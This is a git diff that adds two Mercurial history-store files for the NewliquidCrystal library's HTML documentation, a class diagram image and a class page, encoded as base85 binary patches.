a/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__l__c__d.png.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__l__c__d.png.i new file mode 100644 index 0000000000000000000000000000000000000000..7c3f749d6c0b38baa7fbade68b4fa3d1f872366c GIT binary patch literal 3333 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 ANB{r; literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal.html.i new file mode 100644 index 0000000000000000000000000000000000000000..89a8e0ecc3cbe351f6fd8e88b9e216dfa01b44bb GIT binary patch literal 11447 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 